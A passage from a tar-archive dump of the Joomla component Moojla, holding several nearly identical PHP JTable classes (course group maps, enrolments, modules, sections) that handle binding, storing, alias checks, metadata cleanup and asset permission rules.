 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Course_group_maps Table class
 */
class MoojlaTableCourse_group_map extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_course_group_map',
'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' =>
'com_moojla.course_group_map'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Course_group_map table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New course_group_map. A course_group_map created and created_by field
can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('course_group_map',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('course_group_map',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.course_group_map.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.course_group_map.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/enrolment.php000064400000020522151165724410010541 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolment.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Enrolments Table class
 */
class MoojlaTableEnrolment extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_enrolment', 'id',
$db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.enrolment'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Enrolment table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New enrolment. A enrolment created and created_by field can be set by
the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('enrolment',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_ENROLMENT_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('enrolment',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.enrolment.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.enrolment.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/index.html000064400000000054151165724410010020
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>tables/module.php000064400000020453151165724410010026
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		module.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Modules Table class
 */
class MoojlaTableModule extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_module', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.module'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Module table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New module. A module created and created_by field can be set by the
user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('module',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_MODULE_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('module',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.module.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.module.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/section.php000064400000020470151165724410010204 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		section.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Sections Table class
 */
class MoojlaTableSection extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_section', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.section'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Section table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New section. A section created and created_by field can be set by the
user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('section',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_SECTION_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('section',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.section.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.section.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/tag.php000064400000020562151165724410007315 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
